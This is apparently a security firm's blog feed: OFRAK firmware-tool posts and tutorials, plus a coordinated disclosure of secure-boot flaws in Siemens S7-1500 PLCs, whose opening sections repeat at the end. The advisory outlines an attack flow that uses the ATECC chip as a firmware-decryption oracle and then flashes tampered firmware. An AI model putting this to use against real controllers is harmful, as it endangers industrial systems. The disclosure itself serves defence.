Alright, listen up y’all, ’cause we’re about to tell you how we took those bland, boring output strings from a Cisco router and turned ’em into something that would make even the most seasoned network engineer crack a smile. And with did it all with the help of SassyStringModifier, an OFRAK component powered by ChatGPT.

First off, we unleashed the power of OFRAK to unpack and extract those ASCII strings from the firmware. OFRAK ain’t no joke, y’all — it’s a tool that can reverse engineer and analyze firmware like nobody’s business. With OFRAK, we were able to extract those strings and get ’em lookin’ real nice and pretty.

But pretty ain’t enough for us — we wanted those strings to have some real sass. So we hit up the ChatGPT API to give ’em a whole new personality. ChatGPT is like a language model on steroids, y’all — it can generate all sorts of natural language responses. And by passing those extracted Cisco strings to ChatGPT, we got ourselves some new, sassified versions of those strings.

Now, you might be wonderin’ what we mean by “sassified.” Well, let us give you an example. A boring old Cisco output string might look like this:

But with the help of ChatGPT and our SassyStringModifier component, we turned it into something like this:

Hot dang, that’s some sass right there! And once we had those new sassified strings, we used OFRAK to patch ’em back into the firmware. OFRAK made it easy as pie to unpack the firmware, locate the original strings and replace ’em with our new, sassified versions, and then repack up a valid firmware image.

So what was the end result, you might be askin’? A Cisco router that was more than just a hunk of metal and wires – it had personality and humor to spare:

This project shows y’all the power of combining different tools and technologies to achieve somethin’ truly unique and creative. And as a language model that’s been trained by the geniuses over at OpenAI, I know a thing or two about the power of natural language processing. When you combine that with the binary-level wizardry of OFRAK, you get a solution that’s both functional and downright hilarious.

So the next time you’re stuck with a boring old router, remember that a little bit of sass can go a long way. Just like us, you can use the power of ChatGPT and OFRAK to give your devices a whole lotta personality. Now go forth and get sassy, y’all!

And one more thing, folks – we’re excited to announce that we’re releasing OFRAK AI as a brand new package on GitHub. That’s right, y’all – now anyone can use our powerful firmware analysis and modification tool alongside ChatGPT to unleash their creativity and customize their devices to their heart’s content. We’re just getting started with OFRAK AI, a repo where we’ll be saving all our AI-fueled OFRAK components. So head on over and give it a spin. We can’t wait to see what y’all come up with!

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/the-power-of-chatgpt-in-the-palm-of-my-ofrak/feed/ 0 9042
In OFRAK 3.0.0, the App Writes the Code for You https://redballoonsecurity.com/ofrak-3-0-0/ https://redballoonsecurity.com/ofrak-3-0-0/#respond Sun, 30 Apr 2023 04:40:42 +0000 https://redballoonsecurity.com/?p=9008

In OFRAK 3.0.0, the App Writes the Code for You

One of the neat features we’ve had in mind for the OFRAK GUI, almost since it came out, is to be able to show you a Python script version of your actions in the GUI.

This is helpful for a few reasons: remembering what you did, learning the Python API, generalizing your work in the GUI to a reusable script or component, and probably more.

Well, now this feature is here in OFRAK version 3.0.0!

Now whenever using the GUI, it is possible to click the “Show Script” button to view or download the generated Python script. There are few basic types of API calls you’ll see in the generated scripts. The simplest ones are invocations of unpack, analyze, identify, etc. These correspond directly with the buttons in the GUI. Another type you might see are the modifier invocations that implement the string or bytes find-and-replace buttons in the GUI. There will also be a lot of get_only_child calls. What’s up with that? Well, OFRAK doesn’t know why the user selected the resources they clicked, so when you select a resource and run an action on it, OFRAK needs to come up with some logic to specify that resource before, for example, unpacking it. This generated logic may or may not match with why you actually did click the resource for some further action. It could be a good exercise to look for these in the generated script and consider how to alter these queries to fit what’s in your head.

This code isn’t necessarily going to “just work” like magic – for example, it needs the file you are using as the root resource to be in the script’s working directory, so that it can load it. If you run it on another file, the generated resource selection logic may be too specific to the file the script was initially generated on. But we encourage you to try it out – do a bit of exploration in the GUI, then hit “Show Script” to see the Python version. If you’ve only played around with the GUI, this could be a sign to try your hand at Python.

A couple helpful little arguments were also added to the command-line interface in this update, which are worth mentioning (these are in the subcommands gui, identify, and unpack). The --import <file-or-module> (shorthand: -i <file-or-module>) option allows specifying additional Python modules or files to discover when launching OFRAK. This is especially helpful when working on a small extension for OFRAK, defining some new components, tags, etc. because the file with those definitions can be imported to try out the new code live. The other argument is -f <file-path> which passes a file to be immediately loaded into the GUI, saving the step of dragging it into the GUI after launching. Both of these arguments can be repeated multiple times, to discover multiple modules or load multiple files as Resources.

Oh, and one more thing. The generated scripts will get much more interesting as we add more features to the GUI. In particular, the upcoming GUI interface to run any OFRAK component will allow a lot more to be done with the GUI. You’ll be able to select and run any component, and see that invocation show up in the generated script.

Okay, that’s all for now — if you haven’t already, go and pip install ofrak! Happy OFRAKing!

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/ofrak-3-0-0/feed/ 0 9008
How to Patch Functions with OFRAK’s FunctionReplacementModifier https://redballoonsecurity.com/how-to-patch-functions/ https://redballoonsecurity.com/how-to-patch-functions/#respond Thu, 06 Apr 2023 19:14:06 +0000 https://redballoonsecurity.com/?p=8942

How to Patch Functions with OFRAK’s FunctionReplacementModifier

One of the most useful features in OFRAK is the powerful PatchMaker library, providing capabilities to build and inject C source code into existing binaries. OFRAK’s FunctionReplacementModifier provides an easy-to-use API that leverages the PatchMaker to replace one or more functions in a binary. This post will walk through how this works.

Consider the following program, validate_input.c, which rejects any input that contains the character “}”:

				
					int validate_input(char* user_input){
    int i = 0;
    
    while(user_input[i]){
        if (user_input[i] == '}'){
            return 0;
        }
        i++;
    }
    return 1;
}

int main(int argc, char** argv){
    char* input = argv[1];
    
    if (validate_input(input)){
        printf("Input accepted!\n");
        return 0;
    }else{
        printf("Input rejected!\n");
        return 1;
    }
}
				
			

We can build this program and quickly validate that it works as expected:

				
					>> gcc -o validate_input validate_input.c
>> ./validate_input "input1"
Input accepted!
>> ./validate_input "input}1"
Input rejected!
>> 

				
			

Now let’s imagine that, for whatever reason, we need to change this program such that “}” is valid input if it is escaped with a backslash (the Voldemort of ASCII characters – never literally type it out unless absolutely necessary). Why does the customer need “}” in their input sometimes? Don’t ask me, I’m just the engineer.

A typical forward-engineering solution would involve updating the validate_input inside of our source file to something like this:

				
					int validate_input(char* user_input){
    int i = 0;
    
    while(user_input[i]){
        if (user_input[i] == '}'){
            // If this is the first character (no prev char) or the prev char is NOT backslash, fail validation
            if (i == 0 || user_input[i-1] != '\\') return 0;
        }
        i++;
    }
    return 1;
}

				
			

Next, the forward-engineer would recompile the program.

Consider, however, that you need to apply this patch with the constraint that you cannot recompile the entire program (maybe you don’t have the complete source code or toolchains needed to recompile, or just do not want to). How might you approach this?

 

Maybe you are an assembly whiz and enjoy writing, injecting, and debugging shellcode. For the non-masochists, however, OFRAK’s FunctionReplacementModifier allows us to easily take the above C patch (let’s call it validate_input_patch.c) and inject it into the binary without recompiling the entire binary or needing access to source code.

 

The OFRAK script to do this is pretty straightforward! The FunctionReplacementModifier takes a handful of arguments that are easy to summarize:

  • Where are the source files? In this case, we should put all of our source files in a directory called “patch_src”.
  • What function(s) are being replaced and what source file has the replacement?
  • What are the parameters for compiled code? Most of this stuff is honestly irrelevant here, like DON’T force inlines, DO avoid emitting jump tables, etc.
  • What toolchain should be used? x86-64 GNU Linux EABI is used in this case, but if we wanted a patch for different architecture, we can change this line to a different toolchain.

The script looks like this:

				
					from ofrak import *
from ofrak.core import *
from ofrak_patch_maker.toolchain.model import  *
from ofrak_patch_maker.toolchain.gnu_x64 import *

import ofrak_angr

async def main(ofrak_context, input_file):
    target_binary = await ofrak_context.create_root_resource_from_file(input_file)
    
    await target_binary.unpack_recursively()
    
    await target_binary.run(
        FunctionReplacementModifier,
        FunctionReplacementModifierConfig(
            SourceBundle.slurp("patch_src"),
            {"validate_input": "validate_input_patch.c"},
            ToolchainConfig(
                file_format=BinFileType.ELF, 
                force_inlines=False, 
                relocatable=False, 
                no_std_lib=False, 
                no_jump_tables=True, 
                no_bss_section=True, 
                compiler_optimization_level=CompilerOptimizationLevel.SPACE,
            ),
            GNU_X86_64_LINUX_EABI_10_3_0_Toolchain,
        )
    )
    
    await target_binary.flush_to_disk(input_file + ".patched")


o = OFRAK()
o.discover(ofrak_angr)
o.run(main, "validate_input")

				
			

This script takes a few seconds to run. As described previously, OFRAK will unpack and analyze the target (in this case using the angr backend), then build the patch, find the existing validate_input function, and overwrite it with our patch. Just to encourage you to give it a try as much as possible, we’ll leave out the oh-so-exciting payoff of the expected output from the patched binary. Actually applying and running the patch is left as an exercise to the reader.

We’ll leave you with a little bit of food for thought as well:

  1. We indicated that PatchMaker should optimize the patch for space. What happens if we change this to CompilerOptimizationLevel.NONE?

  2. Could we patch the main function instead of validate_input?

  3. What if we patched main and validate_input? Is it even still the same program? Has science gone too far? (This is a philosophical question, but not a rhetorical one. Discuss.)

Learn More at OFRAK.COM

]]>
https://redballoonsecurity.com/how-to-patch-functions/feed/ 0 8942
Brief Tour of OFRAK 2.2.1 https://redballoonsecurity.com/brief-tour-of-ofrak-2-2-1/ https://redballoonsecurity.com/brief-tour-of-ofrak-2-2-1/#respond Mon, 20 Mar 2023 16:31:53 +0000 https://redballoonsecurity.com/?p=8865

Brief Tour of OFRAK 2.2.1

We published OFRAK 2.2.1 to PyPI on March 8, 2023. As always, a detailed list of changes can be viewed in the OFRAK Changelog. There have been several notable improvements since the first PyPI OFRAK release that are worth highlighting below.

Easy PyPI Install

Getting started with ofrak is now as easy as running: pip install ofrak. This will give you a minimal OFRAK install that includes a handy command-line tool and the OFRAK GUI, in addition to the OFRAK Python library.

To immediately launch the OFRAK GUI and start exploring binaries, run:

				
					% ofrak gui
				
			

The quickest, pure-Python way to start exploring OFRAK’s disassembler backends is to pip install ofrak-angr ofrak-capstone and then use the OFRAK angr backend:

				
					% ofrak gui --backend angr

				
			

(For other backend options, see the Binary Ninja Backend or Ghidra Backend guides.)

Run ofrak --help to explore all of the available commands.

This release also includes some changes that address pip-install issues on Ubuntu and macOS, and adds baseline support for pip-installing OFRAK on Windows. Please continue to upstream these issues to us so that we can continue to improve the OFRAK install experience!

New GUI Features

The latest OFRAK includes the following improvements to the GUI tool:

  • The GUI is now bundled with the ofrak package and can be run with the ofrak gui command
  • Keybindings!
  • A new “Tag” button to allow users to manually tag a resource (See #215)
  • A “jump to offset” feature to quickly move to a specific offset in the GUI’s hexdump/minimap view

New & Updated Components

Support improved or added since OFRAK version 2.0.0:

Performance Improvements

OFRAK 2.1.1 is faster. Here are some highlights:

  • GUI is much faster, especially for resources with hundreds of thousands of children (#191)
  • Remove unneeded and slow .save() when unpacking filesystems (#171)
  • A change to how resources are stored makes deleting (and thus packing) much faster (#201)

As always, we are eager to hear any feedback from OFRAK users! This feedback not only makes us feel warm and fuzzy, it helps prioritize us what we work on next. Feel free to open an issue in the OFRAK GitHub or email us directly at [email protected].

]]>
https://redballoonsecurity.com/brief-tour-of-ofrak-2-2-1/feed/ 0 8865
Critical Architectural Vulnerabilities in Siemens SIMATIC S7-1500 Series Allow for Bypass of All Protected Boot Features https://redballoonsecurity.com/siemens-discovery/ https://redballoonsecurity.com/siemens-discovery/#respond Tue, 10 Jan 2023 05:21:07 +0000 https://redballoonsecurity.com/?p=8493

Critical Architectural Vulnerabilities in Siemens SIMATIC S7-1500 Series Allow for Bypass of All Protected Boot Features

Critical Architectural Vulnerabilities in Siemens SIMATIC S7-1500 Series Allow for Bypass of All Protected Boot Features

Table of Contents

EXECUTIVE SUMMARY

Architectural vulnerabilities in the Siemens SIMATIC and SIPLUS S7-1500 Series PLC

  • Red Balloon’s research has determined that multiple architectural vulnerabilities exist in the Siemens SIMATIC and SIPLUS S7-1500 series PLC that could allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data.
  • The Siemens custom System-on-Chip (SoC) does not establish an indestructible Root of Trust (RoT) in the early boot process. This includes lack of asymmetric signature verifications for all stages of the bootloader and firmware before execution.
  • Failure to establish Root of Trust on the device allows attackers to load custom-modified bootloader and firmware. These modifications could allow attackers to execute and bypass tamper-proofing and integrity-checking features on the device.
  • Architectural vulnerabilities allow offline attackers not only to decrypt S7-1500 series PLC encrypted firmware, but also to generate arbitrary encrypted firmware that are bootable on more than 100 different Siemens S7-1500 series PLC CPU modules. Furthermore, these vulnerabilities allow attackers to persistently bypass integrity validation and security features of the ADONIS operating system and subsequent user space code.
  • CVE-2022-38773 has been assigned, and a CVSS v3 score of 4.6 was assessed.
  • As exploiting this issue requires physical tampering of the product, Siemens recommends to assess the risk of physical access to the device in the target deployment and to implement measures to make sure that only trusted personnel have access to the physical hardware. 
  • Siemens has also released new hardware versions for several CPU types of the S7-1500 product family that contain a secure boot mechanism and is working on updated hardware versions for remaining PLC types. See additional information for list of all MLFBs with new hardware architecture.
  • Siemens’ advisory can be found here, and it includes recommendations for its users regarding workarounds and mitigations.
  • These technical findings will be presented at HOST 2023 (IEEE International Symposium on Hardware Oriented Security and Trust) from May 1-4, 2023.

INTRODUCTION

Programmable logic controllers (PLCs) are critical embedded devices used in modern industrial environments. The Siemens S7-1500 is an industry-leading, high-performance controller that is considered to possess comprehensive security protections amongst Siemens PLC products.

Over the past 10 years, Red Balloon Security has conducted extensive research on the security of embedded systems including PLCs, protection relays, building automation controllers, networking equipment, telecommunications infrastructure, and satellite ground control system infrastructure. Red Balloon’s previous research that specifically focused on Root of Trust (RoT) implementations resulted in discovery of a vulnerability disclosed in 2019 called “Thrangrycat”, which allows for persistent bypass of Cisco’s proprietary secure boot mechanism. Thrangrycat is caused by a series of hardware design flaws within Cisco’s Trust Anchor module (TAm) that allows an attacker to make persistent modification to the TAm via FPGA bitstream modification, thereby defeating the secure boot process and invalidating Cisco’s chain of trust at its root. 

Red Balloon’s latest research consists of discovering multiple, critical architectural vulnerabilities in the Siemens S7-1500 series that allow for bypass of all protected boot features. This discovery has potentially significant implications for industrial environments as these unpatchable hardware root-of-trust vulnerabilities could result in persistent arbitrary modification of S7-1500 operating code and data. Exploitation of these vulnerabilities could allow offline attackers to generate arbitrary encrypted firmware that are bootable on all Siemens S7-1500 series PLC CPU modules. Furthermore, these vulnerabilities allow attackers to persistently bypass integrity validation and security features of the ADONIS operating system and subsequent user space code. Red Balloon has reported these vulnerabilities to Siemens, and Siemens has confirmed them.

The vulnerabilities exist because the Siemens custom System-on-Chip (SoC) does not establish a tamper proof Root of Trust (RoT) in the early boot process. The Siemens RoT is implemented through the integration of a dedicated cryptographic secure element — the ATECC CryptoAuthentication chip. However, this architecture contains flaws that can be leveraged to compromise the system. Failure to establish a RoT on the device allows attackers to load custom-modified bootloaders and firmware. 

The fundamental vulnerabilities — improper hardware implementations of the RoT using dedicated cryptographic-processor — are unpatchable and cannot be fixed by a firmware update since the hardware is physically unmodifiable. To limit the effects of potential exploitation of these vulnerabilities, Red Balloon has recommended several mitigations to Siemens which include: implement runtime integrity attestation; add asymmetric signature check for firmware at bootup scheme; and encrypt the firmware with device specific keys that are generated on individual devices. 

Red Balloon has developed an advanced persistent threat detection tool for owners and operators of the Siemens S7-1500 series PLCs to verify whether vulnerable devices have been tampered with or compromised. 

AFFECTED DEVICES

Siemens released the following list of more than 100 products with this vulnerability with currently no fix available.

  • SIMATIC S7-1500 CPU 1510SP F-1 PN (6ES7510-1SJ00-0AB0)
  • SIMATIC S7-1500 CPU 1510SP F-1 PN (6ES7510-1SJ01-0AB0)
  • SIMATIC S7-1500 CPU 1510SP-1 PN (6ES7510-1DJ00-0AB0)
  • SIMATIC S7-1500 CPU 1510SP-1 PN (6ES7510-1DJ01-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK00-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK01-0AB0)
  • SIMATIC S7-1500 CPU 1511-1 PN (6ES7511-1AK02-0AB0)
  • SIMATIC S7-1500 CPU 1511C-1 PN (6ES7511-1CK00-0AB0)
  • SIMATIC S7-1500 CPU 1511C-1 PN (6ES7511-1CK01-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK00-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK01-0AB0)
  • SIMATIC S7-1500 CPU 1511F-1 PN (6ES7511-1FK02-0AB0)
  • SIMATIC S7-1500 CPU 1511T-1 PN (6ES7511-1TK01-0AB0)
  • SIMATIC S7-1500 CPU 1511TF-1 PN (6ES7511-1UK01-0AB0)
  • SIMATIC S7-1500 CPU 1512C-1 PN (6ES7512-1CK00-0AB0)
  • SIMATIC S7-1500 CPU 1512C-1 PN (6ES7512-1CK01-0AB0)
  • SIMATIC S7-1500 CPU 1512SP F-1PN (6ES7512-1SK00-0AB0)
  • SIMATIC S7-1500 CPU 1512SP F-1 PN (6ES7512-1SK01-0AB0)
  • SIMATIC S7-1500 CPU 1512SP-1 PN (6ES7512-1DK00-0AB0)
  • SIMATIC S7-1500 CPU 1512SP-1 PN (6ES7512-1DK01-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL00-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL01-0AB0)
  • SIMATIC S7-1500 CPU 1513-1 PN (6ES7513-1AL02-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL00-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL01-0AB0)
  • SIMATIC S7-1500 CPU 1513F-1 PN (6ES7513-1FL02-0AB0)
  • SIMATIC S7-1500 CPU 1513R-1 PN (6ES7513-1RL00-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM00-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM01-0AB0)
  • SIMATIC S7-1500 CPU 1515-2 PN (6ES7515-2AM02-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM00-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM01-0AB0)
  • SIMATIC S7-1500 CPU 1515F-2 PN (6ES7515-2FM02-0AB0)
  • SIMATIC S7-1500 CPU 1515R-2 PN (6ES7515-2RM00-0AB0)
  • SIMATIC S7-1500 CPU 1515T-2 PN (6ES7515-2TM01-0AB0)
  • SIMATIC S7-1500 CPU 1515TF-2 PN (6ES7515-2UM01-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN00-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN01-0AB0)
  • SIMATIC S7-1500 CPU 1516-3 PN/DP (6ES7516-3AN02-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN00-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN01-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3FN02-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3TN00-0AB0)
  • SIMATIC S7-1500 CPU 1516F-3 PN/DP (6ES7516-3UN00-0AB0)
  • SIMATIC S7-1500 CPU 1517-3 PN/DP (6ES7517-3AP00-0AB0)
  • SIMATIC S7-1500 CPU 1517-3 PN/DP (6ES7517-3FP00-0AB0)
  • SIMATIC S7-1500 CPU 1517H-3 PN (6ES7517-3HP00-0AB0)
  • SIMATIC S7-1500 CPU 1517T-3 PN/DP (6ES7517-3TP00-0AB0)
  • SIMATIC S7-1500 CPU 1517TF-3 PN/DP (6ES7517-3UP00-0AB0)
  • SIMATIC S7-1500 CPU 1518-4 PN/DP (6ES7518-4AP00-0AB0)
  • SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0)
  • SIMATIC S7-1500 CPU 1518-4F PN/DP (6ES7518-4FP00-0AB0)
  • SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0)
  • SIMATIC S7-1500 CPU 1518HF-4 PN (6ES7518-4JP00-0AB0)
  • SIMATIC S7-1500 CPU 1518T-4 PN/DP (6ES7518-4TP00-0AB0)
  • SIMATIC S7-1500 CPU 1518TF-4 PN/DP (6ES7518-4UP00-0AB0)
  • SIMATIC S7-1500 CPU S7-1518-4 PN/DP ODK (6ES7518-4AP00-3AB0)
  • SIMATIC S7-1500 CPU S7-1518F-4 PN/DP ODK (6ES7518-4FP00-3AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1513PRO F-2 PN (6ES7513-2GL00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1513PRO-2 PN (6ES7513-2PL00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1516PRO F-2 PN (6ES7516-2GN00-0AB0)
  • SIMATIC S7-1500 ET 200pro: CPU 1516PRO-2 PN (6ES7516-2PN00-0AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK00-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK01-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK01-7AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK02-2AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN (6AG1511-1AK02-7AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL (6AG2511-1AK01-1AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN T1 RAIL (6AG2511-1AK02-1AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN TX RAIL (6AG2511-1AK01-4AB0)
  • SIPLUS S7-1500 CPU 1511-1 PN TX RAIL (6AG2511-1AK02-4AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK00-2AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK01-2AB0)
  • SIPLUS S7-1500 CPU 1511F-1 PN (6AG1511-1FK02-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL00-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL01-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL01-7AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL02-2AB0)
  • SIPLUS S7-1500 CPU 1513-1 PN (6AG1513-1AL02-7AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL00-2AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL01-2AB0)
  • SIPLUS S7-1500 CPU 1513F-1 PN (6AG1513-1FL02-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN (6AG1515-2FM01-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN (6AG1515-2FM02-2AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN RAIL (6AG2515-2FM02-4AB0)
  • SIPLUS S7-1500 CPU 1515F-2 PN T2 RAIL (6AG2515-2FM01-2AB0)
  • SIPLUS S7-1500 CPU 1515R-2 PN (6AG1515-2RM00-7AB0)
  • SIPLUS S7-1500 CPU 1515R-2 PN TX RAIL (6AG2515-2RM00-4AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN00-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN00-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN01-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN01-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN02-2AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP (6AG1516-3AN02-7AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP RAIL (6AG2516-3AN02-4AB0)
  • SIPLUS S7-1500 CPU 1516-3 PN/DP TX RAIL (6AG2516-3AN01-4AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN00-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN01-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP (6AG1516-3FN02-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL (6AG2516-3FN02-2AB0)
  • SIPLUS S7-1500 CPU 1516F-3 PN/DP RAIL (6AG2516-3FN02-4AB0)
  • SIPLUS S7-1500 CPU 1517H-3 PN (6AG1517-3HP00-4AB0)
  • SIPLUS S7-1500 CPU 1518-4 PN/DP (6AG1518-4AP00-4AB0)
  • SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0)
  • SIPLUS S7-1500 CPU 1518F-4 PN/DP (6AG1518-4FP00-4AB0)

TECHNICAL DETAILS

The ATECC CryptoAuthentication-based RoT hardware implementation is vulnerable and deployed across the Siemens S7-1500 series product line. The firmware gets decrypted in memory and executed each time during bootup. The decryption keys are not built into the firmware itself. Instead, a physical secure element chip — the ATECC108 CryptoAuthentication coprocessor — is used to calculate a decryption seed based on the firmware metadata (header) and the master key inside the secure element. The decryption seed then derives the AES keys for different parts of the encrypted firmware. 

However, this ATECC CryptoAuthentication implementation contains flaws that can be leveraged to compromise the integrity of the system. The secure element shared secret is exposed, as shown in Figure 1, which allows attackers to abuse the secure element. The shared secret resides in the device’s nonvolatile storage which can be accessed by attackers. The CryptoAuthentication chip can be used as an oracle to generate the decryption seed which is used to derive AES keys for encrypted firmware. The plaintext bootloader reveals the firmware AES key derivation and decryption scheme. 

Figure 1. The vulnerable implementation of Root-of-Trust (RoT) using a secure cryptographic processor. If the shared cryptographic material is captured, adversaries may use the secure cryptographic processor as an oracle to encrypt and decrypt tampered firmware.

ATTACK FLOW

This attack flow allows an attacker to load a custom-modified bootloader and firmware to vulnerable Siemens S7-1500 series PLCs.

  • An attacker can target the vulnerable ATECC secure cryptographic-processor to establish a Root-of-Trust with modified firmware. 
  • An attacker with physical access to the device can either attach to the I2C communication bus or extract the physical ATECC chip from the PLC’s PCB to falsely authenticate and use it as an oracle to generate firmware decryption material. 
    • The Siemens ADONIS RTOS Firmware and bootloader integrity check is located in the firmware itself (chain of trust) which can be easily bypassed through the attacker’s tampered firmware.
  • The last step is for an attacker to flash the modified firmware onto the device either through NAND flash reprogram or to chain it with an existing remote code execution vulnerability. 

SUMMARY

The Siemens S7-1500 series PLCs implement a boot-time firmware validation scheme using a combination of hardware-enabled firmware decryption and binary integrity validation in the Siemens ADONIS operating system. Multiple architectural vulnerabilities exist which allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data. With physical access to a single device, attackers can exploit the vulnerabilities to generate valid AES keys for most of the S7-1500 series firmwares, including the one modified by attackers. The custom-modified firmware can be authenticated and decrypted by the original boot process. By flashing this malicious firmware on a target device, either physically or by exploiting an existing remote code execution vulnerability, attackers could persistently gain arbitrary code execution and potentially circumvent any official security and firmware updates, without the user’s knowledge.

ACKNOWLEDGMENT

Red Balloon would like to thank Siemens for its response in confirming our findings and coordination in the disclosure process.

Table of Contents

EXECUTIVE SUMMARY

Architectural vulnerabilities in the Siemens SIMATIC and SIPLUS S7-1500 Series PLC

  • Red Balloon’s research has determined that multiple architectural vulnerabilities exist in the Siemens SIMATIC and SIPLUS S7-1500 series PLC that could allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data.
  • The Siemens custom System-on-Chip (SoC) does not establish an indestructible Root of Trust (RoT) in the early boot process. This includes lack of asymmetric signature verifications for all stages of the bootloader and firmware before execution.
  • Failure to establish Root of Trust on the device allows attackers to load custom-modified bootloader and firmware. These modifications could allow attackers to execute and bypass tamper-proofing and integrity-checking features on the device.
  • Architectural vulnerabilities allow offline attackers not only to decrypt S7-1500 series PLC encrypted firmware, but also to generate arbitrary encrypted firmware that are bootable on more than 100 different Siemens S7-1500 series PLC CPU modules. Furthermore, these vulnerabilities allow attackers to persistently bypass integrity validation and security features of the ADONIS operating system and subsequent user space code.
  • CVE-2022-38773 has been assigned, and a CVSS v3 score of 4.6 was assessed.
  • As exploiting this issue requires physical tampering of the product, Siemens recommends to assess the risk of physical access to the device in the target deployment and to implement measures to make sure that only trusted personnel have access to the physical hardware. 
  • Siemens has also released new hardware versions for several CPU types of the S7-1500 product family that contain a secure boot mechanism and is working on updated hardware versions for remaining PLC types. See additional information for list of all MLFBs with new hardware architecture.
  • Siemens’ advisory can be found here, and it includes recommendations for its users regarding workarounds and mitigations.
  • These technical findings will be presented at HOST 2023 (IEEE International Symposium on Hardware Oriented Security and Trust) from May 1-4, 2023.
INTRODUCTION

Programmable logic controllers (PLCs) are critical embedded devices used in modern industrial environments. The Siemens S7-1500 is an industry-leading, high-performance controller that is considered to possess comprehensive security protections amongst Siemens PLC products.

Over the past 10 years, Red Balloon Security has conducted extensive research on the security of embedded systems including PLCs, protection relays, building automation controllers, networking equipment, telecommunications infrastructure, and satellite ground control system infrastructure. Red Balloon’s previous research that specifically focused on Root of Trust (RoT) implementations resulted in discovery of a vulnerability disclosed in 2019 called “Thrangrycat”, which allows for persistent bypass of Cisco’s proprietary secure boot mechanism. Thrangrycat is caused by a series of hardware design flaws within Cisco’s Trust Anchor module (TAm) that allows an attacker to make persistent modification to the TAm via FPGA bitstream modification, thereby defeating the secure boot process and invalidating Cisco’s chain of trust at its root. 

Red Balloon’s latest research consists of discovering multiple, critical architectural vulnerabilities in the Siemens S7-1500 series that allow for bypass of all protected boot features. This discovery has potentially significant implications for industrial environments as these unpatchable hardware root-of-trust vulnerabilities could result in persistent arbitrary modification of S7-1500 operating code and data. Exploitation of these vulnerabilities could allow offline attackers to generate arbitrary encrypted firmware that are bootable on all Siemens S7-1500 series PLC CPU modules. Furthermore, these vulnerabilities allow attackers to persistently bypass integrity validation and security features of the ADONIS operating system and subsequent user space code. Red Balloon has reported these vulnerabilities to Siemens, and Siemens has confirmed them.

The vulnerabilities exist because the Siemens custom System-on-Chip (SoC) does not establish a tamper proof Root of Trust (RoT) in the early boot process. The Siemens RoT is implemented through the integration of a dedicated cryptographic secure element — the ATECC CryptoAuthentication chip. However, this architecture contains flaws that can be leveraged to compromise the system. Failure to establish a RoT on the device allows attackers to load custom-modified bootloaders and firmware. 

